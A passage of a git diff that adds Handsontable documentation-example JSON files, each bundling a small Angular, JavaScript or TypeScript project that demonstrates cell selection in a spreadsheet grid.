    `,\n encapsulation: ViewEncapsulation.None\n})\nexport class AppComponent {\n @ViewChild(HotTableComponent, { static: false }) readonly hotTable!: HotTableComponent;\n\n readonly data = [\n ['Ana García', 'Engineering', 'Senior Engineer', 95000, 12, '2026-03-14'],\n ['James Okafor', 'Marketing', 'Product Manager', 88000, 8, '2026-07-01'],\n ['Li Wei', 'Engineering', 'Frontend Dev', 82000, 5, '2026-01-10'],\n ['Maria Santos', 'HR', 'HR Specialist', 71000, 3, '2026-11-20'],\n ['David Kim', 'Engineering', 'Backend Dev', 85000, 7, '2026-08-05'],\n ['Emma Wilson', 'Marketing', 'SEO Analyst', 68000, 2, '2026-02-14'],\n ];\n\n readonly gridSettings: GridSettings = {\n width: 'auto',\n height: 'auto',\n colWidths: 100,\n rowHeaders: true,\n colHeaders: true,\n outsideClickDeselects: false,\n autoWrapRow: true,\n autoWrapCol: true,\n };\n\n selectCell(): void {\n // Select a single cell: row 1, col 1 (B2)\n this.hotTable?.hotInstance?.selectCell(1, 1);\n }\n\n selectRange(): void {\n // Select a range: row 1, col 1 to row 3, col 3 (B2:D4)\n this.hotTable?.hotInstance?.selectCell(1, 1, 3, 3);\n }\n\n deselect(): void {\n this.hotTable?.hotInstance?.deselectCell();\n }\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/cell-features/selection/angular/example5.ts","breadcrumb":["Cell Features","Selection"],"guide":"guides/cell-features/selection/selection.md","guideTitle":"Selection","exampleId":"example5","exampleTitle":"Select cells programmatically","docPermalink":"/selection","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-features__selection__angular__example6.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__selection__angular__example6.ts.json new file mode 100644 index 00000000..8e94d27a --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__selection__angular__example6.ts.json @@ -0,0 +1 @@ +{"framework":"angular","displayName":"Cell Features ▸ Selection · Jump across horizontal edges · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/angular-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
    \n \n
    \n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { Component, ViewChild } from '@angular/core';\nimport { GridSettings, HotTableComponent, HotTableModule } from '@handsontable/angular-wrapper';\n\n@Component({\n selector: 'example6-selection',\n standalone: true,\n imports: [HotTableModule],\n template: `
    \n
    \n \n \n
    \n

    \n Select a cell, then press Tab or → at the end of a row, or Enter or\n ↓ at the bottom of a column, to see the effect.\n

    \n
    \n
    \n \n
    `,\n})\nexport class AppComponent {\n @ViewChild(HotTableComponent, { static: false }) readonly hotTable!: HotTableComponent;\n\n readonly data = [\n ['SKU-4821', 'Harbor Goods', 'Electronics', 142],\n ['SKU-0093', 'Alpine Supply Co.', 'Apparel', 67],\n ['SKU-2210', 'Harbor Goods', 'Electronics', 0],\n ['SKU-7734', 'Nordic Traders', 'Home Goods', 58],\n ['SKU-1145', 'Alpine Supply Co.', 'Apparel', 213],\n ];\n\n readonly gridSettings: GridSettings = {\n colHeaders: ['SKU', 'Supplier', 'Category', 'Quantity'],\n width: 'auto',\n height: 'auto',\n rowHeaders: true,\n autoWrapRow: true,\n autoWrapCol: true,\n };\n\n toggleAutoWrapRow(event: Event): void {\n this.hotTable?.hotInstance?.updateSettings({ autoWrapRow: (event.target as HTMLInputElement).checked });\n }\n\n toggleAutoWrapCol(event: Event): void {\n this.hotTable?.hotInstance?.updateSettings({ autoWrapCol: (event.target as HTMLInputElement).checked });\n }\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/cell-features/selection/angular/example6.ts","breadcrumb":["Cell Features","Selection"],"guide":"guides/cell-features/selection/selection.md","guideTitle":"Selection","exampleId":"example6","exampleTitle":"Jump across horizontal edges","docPermalink":"/selection","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-features__selection__javascript__example1.js.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__selection__javascript__example1.js.json new file mode 100644 index 00000000..a06cc5bd --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__selection__javascript__example1.js.json @@ -0,0 +1 @@ +{"framework":"javascript","displayName":"Cell Features ▸ Selection · Standard example · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n
    \n
    \n \n \n
    \n
    \n
    \n
    \n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#example1');\nconst hot = new Handsontable(container, {\n data: [\n ['A1', 'B1', 'C1', 'D1', 'E1', 'F1', 'G1', 'H1', 'I1'],\n ['A2', 'B2', 'C2', 'D2', 'E2', 'F2', 'G2', 'H2', 'I2'],\n ['A3', 'B3', 'C3', 'D3', 'E3', 'F3', 'G3', 'H3', 'I3'],\n ['A4', 'B4', 'C4', 'D4', 'E4', 'F4', 'G4', 'H4', 'I4'],\n ['A5', 'B5', 'C5', 'D5', 'E5', 'F5', 'G5', 'H5', 'I5'],\n ['A6', 'B6', 'C6', 'D6', 'E6', 'F6', 'G6', 'H6', 'I6'],\n ['A7', 'B7', 'C7', 'D7', 'E7', 'F7', 'G7', 'H7', 'I7'],\n ['A8', 'B8', 'C8', 'D8', 'E8', 'F8', 'G8', 'H8', 'I8'],\n ['A9', 'B9', 'C9', 'D9', 'E9', 'F9', 'G9', 'H9', 'I9'],\n ],\n width: 'auto',\n height: 'auto',\n colWidths: 100,\n rowHeaders: true,\n colHeaders: true,\n selectionMode: 'multiple',\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});\n\nconst dropdown = document.querySelector('#selectionDropdown');\nconst trigger = document.querySelector('#selectionTrigger');\nconst menu = document.querySelector('#selectionMenu');\nconst label = document.querySelector('#selectionLabel');\n\ntrigger.addEventListener('click', () => {\n const isOpen = !menu.hidden;\n\n menu.hidden = isOpen;\n trigger.setAttribute('aria-expanded', String(!isOpen));\n});\n\nmenu.addEventListener('click', (e) => {\n const item = e.target.closest('li[data-value]');\n\n if (item) {\n label.textContent = item.textContent.trim();\n menu.querySelectorAll('li').forEach((li) => li.setAttribute('aria-selected', 'false'));\n item.setAttribute('aria-selected', 'true');\n menu.hidden = true;\n trigger.setAttribute('aria-expanded', 'false');\n hot.updateSettings({ selectionMode: item.dataset.value });\n }\n});\n\ndocument.addEventListener('click', (e) => {\n if (!dropdown.contains(e.target)) {\n menu.hidden = true;\n trigger.setAttribute('aria-expanded', 'false');\n }\n});\n\ndocument.addEventListener('keydown', (e) => {\n if (e.key === 'Escape' && !menu.hidden) {\n menu.hidden = true;\n trigger.setAttribute('aria-expanded', 'false');\n trigger.focus();\n }\n});","/src/main.js":"import \"../styles.css\";\nimport \"../index.js\";","/styles.css":"#example1 {\n z-index: 1;\n position: relative;\n}"},"docsPath":"guides/cell-features/selection/javascript/example1.js","breadcrumb":["Cell Features","Selection"],"guide":"guides/cell-features/selection/selection.md","guideTitle":"Selection","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/selection","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-features__selection__javascript__example1.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__selection__javascript__example1.ts.json new file mode 100644 index 00000000..bb78655a --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__selection__javascript__example1.ts.json @@ -0,0 +1 @@ +{"framework":"typescript","displayName":"Cell Features ▸ Selection · Standard example · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n
    \n
    \n \n \n
    \n
    \n
    \n
    \n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#example1')!;\n\nconst hot = new Handsontable(container, {\n data: [\n ['A1', 'B1', 'C1', 'D1', 'E1', 'F1', 'G1', 'H1', 'I1'],\n ['A2', 'B2', 'C2', 'D2', 'E2', 'F2', 'G2', 'H2', 'I2'],\n ['A3', 'B3', 'C3', 'D3', 'E3', 'F3', 'G3', 'H3', 'I3'],\n ['A4', 'B4', 'C4', 'D4', 'E4', 'F4', 'G4', 'H4', 'I4'],\n ['A5', 'B5', 'C5', 'D5', 'E5', 'F5', 'G5', 'H5', 'I5'],\n ['A6', 'B6', 'C6', 'D6', 'E6', 'F6', 'G6', 'H6', 'I6'],\n ['A7', 'B7', 'C7', 'D7', 'E7', 'F7', 'G7', 'H7', 'I7'],\n ['A8', 'B8', 'C8', 'D8', 'E8', 'F8', 'G8', 'H8', 'I8'],\n ['A9', 'B9', 'C9', 'D9', 'E9', 'F9', 'G9', 'H9', 'I9'],\n ],\n width: 'auto',\n height: 'auto',\n colWidths: 100,\n rowHeaders: true,\n colHeaders: true,\n selectionMode: 'multiple', // 'single', 'range' or 'multiple',\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});\n\nconst dropdown = document.querySelector('#selectionDropdown')!;\nconst trigger = document.querySelector('#selectionTrigger')! as HTMLButtonElement;\nconst menu = document.querySelector('#selectionMenu')! as HTMLUListElement;\nconst label = document.querySelector('#selectionLabel')!;\n\ntrigger.addEventListener('click', () => {\n const isOpen = !menu.hidden;\n\n menu.hidden = isOpen;\n trigger.setAttribute('aria-expanded', String(!isOpen));\n});\n\nmenu.addEventListener('click', (e: MouseEvent) => {\n const item = (e.target as HTMLElement).closest('li[data-value]') as HTMLLIElement | null;\n\n if (item) {\n label.textContent = item.textContent!.trim();\n menu.querySelectorAll('li').forEach((li) => li.setAttribute('aria-selected', 'false'));\n item.setAttribute('aria-selected', 'true');\n menu.hidden = true;\n trigger.setAttribute('aria-expanded', 'false');\n hot.updateSettings({ selectionMode: item.dataset.value } as Handsontable.GridSettings);\n }\n});\n\ndocument.addEventListener('click', (e: MouseEvent) => {\n if (!dropdown.contains(e.target as Node)) {\n menu.hidden = true;\n trigger.setAttribute('aria-expanded', 'false');\n }\n});\n\ndocument.addEventListener('keydown', (e: KeyboardEvent) => {\n if (e.key === 'Escape' && !menu.hidden) {\n menu.hidden = true;\n trigger.setAttribute('aria-expanded', 'false');\n trigger.focus();\n }\n});","/src/main.ts":"import \"../styles.css\";\nimport \"../index.ts\";","/styles.css":"#example1 {\n z-index: 1;\n position: relative;\n}"},"docsPath":"guides/cell-features/selection/javascript/example1.ts","breadcrumb":["Cell Features","Selection"],"guide":"guides/cell-features/selection/selection.md","guideTitle":"Selection","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/selection","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-features__selection__javascript__example2.js.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__selection__javascript__example2.js.json new file mode 100644 index 00000000..cb9452f3 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__selection__javascript__example2.js.json @@ -0,0 +1 @@ +{"framework":"javascript","displayName":"Cell Features ▸ Selection · Get data from the selected ranges · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n
    \n \n
    \n Here you will see the log\n
    \n
    \n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#example2');\nconst hot = new Handsontable(container, {\n data: [\n ['A1', 'B1', 'C1', 'D1', 'E1', 'F1', 'G1', 'H1', 'I1'],\n ['A2', 'B2', 'C2', 'D2', 'E2', 'F2', 'G2', 'H2', 'I2'],\n ['A3', 'B3', 'C3', 'D3', 'E3', 'F3', 'G3', 'H3', 'I3'],\n ['A4', 'B4', 'C4', 'D4', 'E4', 'F4', 'G4', 'H4', 'I4'],\n ['A5', 'B5', 'C5', 'D5', 'E5', 'F5', 'G5', 'H5', 'I5'],\n ['A6', 'B6', 'C6', 'D6', 'E6', 'F6', 'G6', 'H6', 'I6'],\n ['A7', 'B7', 'C7', 'D7', 'E7', 'F7', 'G7', 'H7', 'I7'],\n ['A8', 'B8', 'C8', 'D8', 'E8', 'F8', 'G8', 'H8', 'I8'],\n ['A9', 'B9', 'C9', 'D9', 'E9', 'F9', 'G9', 'H9', 'I9'],\n ],\n width: 'auto',\n height: 'auto',\n colWidths: 100,\n rowHeaders: true,\n colHeaders: true,\n outsideClickDeselects: false,\n selectionMode: 'multiple',\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});\n\nconst getButton = document.querySelector('#getButton');\nconst output = document.querySelector('#output');\n\ngetButton.addEventListener('click', () => {\n const selected = hot.getSelected() || [];\n let data = [];\n\n if (selected.length === 1) {\n data = hot.getData(...selected[0]);\n } else {\n for (let i = 0; i < selected.length; i += 1) {\n data.push(hot.getData(...selected[i]));\n }\n }\n\n output.innerText = JSON.stringify(data);\n});","/src/main.js":"import \"../index.js\";"},"docsPath":"guides/cell-features/selection/javascript/example2.js","breadcrumb":["Cell Features","Selection"],"guide":"guides/cell-features/selection/selection.md","guideTitle":"Selection","exampleId":"example2","exampleTitle":"Get data from the selected ranges","docPermalink":"/selection","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-features__selection__javascript__example2.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__selection__javascript__example2.ts.json new file mode 100644 index 00000000..ab818467 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__selection__javascript__example2.ts.json @@ -0,0 +1 @@ +{"framework":"typescript","displayName":"Cell Features ▸ Selection · Get data from the selected ranges · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n
    \n \n
    \n Here you will see the log\n
    \n
    \n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#example2')!;\n\nconst hot = new Handsontable(container, {\n data: [\n ['A1', 'B1', 'C1', 'D1', 'E1', 'F1', 'G1', 'H1', 'I1'],\n ['A2', 'B2', 'C2', 'D2', 'E2', 'F2', 'G2', 'H2', 'I2'],\n ['A3', 'B3', 'C3', 'D3', 'E3', 'F3', 'G3', 'H3', 'I3'],\n ['A4', 'B4', 'C4', 'D4', 'E4', 'F4', 'G4', 'H4', 'I4'],\n ['A5', 'B5', 'C5', 'D5', 'E5', 'F5', 'G5', 'H5', 'I5'],\n ['A6', 'B6', 'C6', 'D6', 'E6', 'F6', 'G6', 'H6', 'I6'],\n ['A7', 'B7', 'C7', 'D7', 'E7', 'F7', 'G7', 'H7', 'I7'],\n ['A8', 'B8', 'C8', 'D8', 'E8', 'F8', 'G8', 'H8', 'I8'],\n ['A9', 'B9', 'C9', 'D9', 'E9', 'F9', 'G9', 'H9', 'I9'],\n ],\n width: 'auto',\n height: 'auto',\n colWidths: 100,\n rowHeaders: true,\n colHeaders: true,\n outsideClickDeselects: false,\n selectionMode: 'multiple', // 'single', 'range' or 'multiple',\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});\n\nconst getButton = document.querySelector('#getButton')!;\nconst output = document.querySelector('#output')!;\n\ngetButton.addEventListener('click', () => {\n const selected = hot.getSelected() || [];\n let data: Handsontable.CellValue[] = [];\n\n if (selected.length === 1) {\n data = hot.getData(...selected[0]!);\n } else {\n for (let i = 0; i < selected.length; i += 1) {\n data.push(hot.getData(...selected[i]!));\n }\n }\n\n (output as HTMLElement).innerText = JSON.stringify(data);\n});","/src/main.ts":"import \"../index.ts\";"},"docsPath":"guides/cell-features/selection/javascript/example2.ts","breadcrumb":["Cell Features","Selection"],"guide":"guides/cell-features/selection/selection.md","guideTitle":"Selection","exampleId":"example2","exampleTitle":"Get data from the selected ranges","docPermalink":"/selection","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-features__selection__javascript__example3.js.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__selection__javascript__example3.js.json new file mode 100644 index 00000000..1dc47ee7 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__selection__javascript__example3.js.json @@ -0,0 +1 @@ +{"framework":"javascript","displayName":"Cell Features ▸ Selection · Modify the selected cells · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n
    \n \n
    \n
    \n
    \n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#example3');\nconst hot = new Handsontable(container, {\n data: [\n ['A1', 'B1', 'C1', 'D1', 'E1', 'F1', 'G1', 'H1', 'I1'],\n ['A2', 'B2', 'C2', 'D2', 'E2', 'F2', 'G2', 'H2', 'I2'],\n ['A3', 'B3', 'C3', 'D3', 'E3', 'F3', 'G3', 'H3', 'I3'],\n ['A4', 'B4', 'C4', 'D4', 'E4', 'F4', 'G4', 'H4', 'I4'],\n ['A5', 'B5', 'C5', 'D5', 'E5', 'F5', 'G5', 'H5', 'I5'],\n ['A6', 'B6', 'C6', 'D6', 'E6', 'F6', 'G6', 'H6', 'I6'],\n ['A7', 'B7', 'C7', 'D7', 'E7', 'F7', 'G7', 'H7', 'I7'],\n ['A8', 'B8', 'C8', 'D8', 'E8', 'F8', 'G8', 'H8', 'I8'],\n ['A9', 'B9', 'C9', 'D9', 'E9', 'F9', 'G9', 'H9', 'I9'],\n ],\n width: 'auto',\n height: 'auto',\n colWidths: 100,\n rowHeaders: true,\n colHeaders: true,\n outsideClickDeselects: false,\n selectionMode: 'multiple',\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});\n\nconst button = document.querySelector('#set-data-action');\n\nbutton.addEventListener('click', () => {\n const selected = hot.getSelected() || [];\n\n hot.suspendRender();\n\n for (let index = 0; index < selected.length; index += 1) {\n const [row1, column1, row2, column2] = selected[index];\n const startRow = Math.max(Math.min(row1, row2), 0);\n const endRow = Math.max(row1, row2);\n const startCol = Math.max(Math.min(column1, column2), 0);\n const endCol = Math.max(column1, column2);\n\n for (let rowIndex = startRow; rowIndex <= endRow; rowIndex += 1) {\n for (let columnIndex = startCol; columnIndex <= endCol; columnIndex += 1) {\n hot.setDataAtCell(rowIndex, columnIndex, 'data changed');\n hot.setCellMeta(rowIndex, columnIndex, 'className', 'c-red');\n }\n }\n }\n\n hot.render();\n hot.resumeRender();\n});","/src/main.js":"import \"../styles.css\";\nimport \"../index.js\";","/styles.css":".c-red {\n color: red;\n}"},"docsPath":"guides/cell-features/selection/javascript/example3.js","breadcrumb":["Cell Features","Selection"],"guide":"guides/cell-features/selection/selection.md","guideTitle":"Selection","exampleId":"example3","exampleTitle":"Modify the selected cells","docPermalink":"/selection","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-features__selection__javascript__example3.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__selection__javascript__example3.ts.json new file mode 100644 index 00000000..64967431 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__selection__javascript__example3.ts.json @@ -0,0 +1 @@ +{"framework":"typescript","displayName":"Cell Features ▸ Selection · Modify the selected cells · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n
    \n \n
    \n
    \n
